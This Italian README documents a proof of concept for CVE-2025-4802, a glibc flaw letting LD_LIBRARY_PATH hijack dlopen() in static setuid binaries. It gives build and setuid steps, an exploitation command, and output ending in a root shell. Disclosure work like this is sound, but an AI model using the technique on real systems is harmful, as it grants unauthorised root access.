CVE-2025-4802 — Proof of Concept

⚠️ Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Non utilizzare questo exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test. L'uso improprio può violare leggi e regolamenti.

Riepilogo CVE

Descrizione

Una vulnerabilità nella GNU C Library (glibc) versioni 2.27 fino alla 2.38 consente a un attaccante di sfruttare la variabile d'ambiente LD_LIBRARY_PATH in binari setuid compilati staticamente che chiamano dlopen().

Normalmente, il dynamic linker sanifica LD_LIBRARY_PATH per i programmi setuid. Tuttavia, i binari compilati staticamente bypassano completamente il dynamic linker, quindi LD_LIBRARY_PATH non viene mai ripulita. Quando un tale binario chiama dlopen() (direttamente, o indirettamente tramite setlocale() o funzioni NSS come getaddrinfo()), glibc risolve le librerie condivise utilizzando il LD_LIBRARY_PATH controllato dall'attaccante, consentendo l'esecuzione di codice arbitrario con privilegi elevati.

Come funziona

1. Un binario setuid-root compilato staticamente chiama dlopen("myso.so", ...) per caricare un oggetto condiviso per nome (non un percorso assoluto).
2. Poiché il binario è linkato staticamente, il dynamic linker (ld-linux.so) non viene mai eseguito, quindi LD_LIBRARY_PATH non viene sanificata.
3. Un attaccante crea un oggetto condiviso malevolo (myso.so) che esporta lo stesso simbolo hello() ma genera una shell di root.
4. L'attaccante imposta LD_LIBRARY_PATH in modo che punti alla directory contenente la libreria malevola.
5. Quando il binario setuid viene eseguito, carica la libreria dell'attaccante invece di quella legittima, eseguendo codice arbitrario come root.

Struttura del repository

.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

Prerequisiti

• OS: Fedora 39 (o qualsiasi distribuzione Linux con una glibc vulnerabile)
• Versione glibc: 2.27 – 2.38 (verificare con ldd --version)
• Pacchetti: gcc, make
• Accesso root per impostare il bit setuid

Passaggi di riproduzione

1. Compilare tutto

make all

Oppure manualmente:

# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Impostare il bit setuid (richiede root)

sudo chown root:root main
sudo chmod u+s main

3. Esecuzione normale (comportamento sicuro)

./main

Output previsto:

 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Sfruttamento con LD_LIBRARY_PATH (comportamento malevolo)

LD_LIBRARY_PATH=./evil_library ./main

Output previsto:

 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Il binario carica il myso.so dell'attaccante da evil_library/ invece di quello legittimo, generando una shell di root.

Proof of Concept

È disponibile anche una video walkthrough: proof_of_concept_video.mp4

Mitigazione

• Aggiornare glibc a una versione corretta (> 2.38)
• Evitare il linking statico per i binari setuid che utilizzano dlopen()
• Utilizzare percorsi assoluti nelle chiamate dlopen() invece di nomi di libreria nudi
• Rilasciare i privilegi prima di chiamare dlopen()
• Utilizzare flag di hardening del compilatore/linker ed evitare setuid ove possibile

Risorse

• NVD — CVE-2025-4802